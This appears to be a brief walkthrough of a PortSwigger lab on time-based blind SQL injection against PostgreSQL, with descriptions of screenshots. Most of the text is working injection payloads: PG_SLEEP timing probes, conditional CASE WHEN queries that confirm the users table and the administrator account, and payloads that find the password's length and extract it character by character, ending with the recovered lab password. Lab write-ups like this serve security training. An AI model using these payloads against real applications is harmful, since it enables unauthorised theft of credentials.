

Lab: Blind SQL injection with time delays and information retrieval

- Check for Blind SQLi with time delays via this payload (' || PG_SLEEP(5) -- -), the response came after 5 seconds

The screenshot displays the browser's developer tools with three tabs: Request, Response, and Inspector. The Request tab shows a GET request to a URL containing a payload: `' || PG_SLEEP(5) -- -`. The Response tab shows an HTTP 200 OK response with HTML content. The title of the page is "Blind SQL injection with time delays and information retrieval". The Inspector tab shows the DOM structure, including a link back to <https://portswigger.net/web-security>. At the bottom right, the response time is shown as 5,116 milliseconds, which is circled in red.

- make a conditional payload, if true, sleeps for 5 seconds, else sleep for 0 seconds ('; SELECT CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END-- -) (Note: The

payload is URL Encoded)

- check if users table exist, if true, sleeps for 5 seconds, else sleep for 0 seconds, using this payload (**' ; SELECT CASE WHEN ((SELECT 'a' FROM users)='a' limit 1) THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END --)**)

- check if the username "administrator" exists (**' ; SELECT CASE WHEN ((SELECT 'a' FROM users where username='administrator' limit 1)='a') THEN**

PG_SLEEP(5) ELSE PG_SLEEP(0) END -- -)

The screenshot displays a web browser's developer tools interface. The 'Request' tab on the left shows an HTTP GET request to `https://portswigger.net/web-security-academy.net`. The 'Response' tab in the center shows the HTML response, which includes a title 'Blind SQL injection with time delays and information retrieval'. The 'Inspector' panel on the right shows the selected text of the response, which is the SQL injection payload: `;$3b+SELECT+CASE+WHEN+((SELECT+'a'+FROM+users+where+username='administrator'+limit+1)='a') THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END -- -)`. The 'Decoded from' section shows the URL encoding of the payload. The status bar at the bottom right indicates a response time of 5,113 milliseconds.

- Get the length of administrator's password (`('; SELECT CASE WHEN ((SELECT LENGTH(PASSWORD) FROM users where username='administrator' limit 1)=1) THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END -- -)`), I'll run a python script to get the length of the password.
- Password length : 20
- Retrieve password character by character (`('; SELECT CASE WHEN ((SELECT SUBSTRING(PASSWORD, 1, 1) FROM users where username='administrator' limit 1)='a') THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END -- -)`)
- Run a python script to get the password.

- Log in using username="administrator", password="txtjlkwmjqtbud05kdfd"



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